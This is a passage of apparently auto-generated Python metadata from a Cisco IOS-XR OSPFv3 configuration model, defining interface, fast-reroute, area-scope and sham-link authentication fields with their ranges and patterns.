'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface to configure
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 interface
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ldp-sync', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/Disable MPLS LDP sync
''',
'ldp_sync',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD
packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('neighbors', REFERENCE_CLASS, 'Neighbors' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors',
[], [],
''' Specify a neighbor router
''',
'neighbors',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an
interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces',
False,
[
_MetaInfoClassMember('interface', REFERENCE_LIST, 'Interface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface',
[], [],
''' OSPFv3 interface
''',
'interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope',
False,
[
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-scope',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
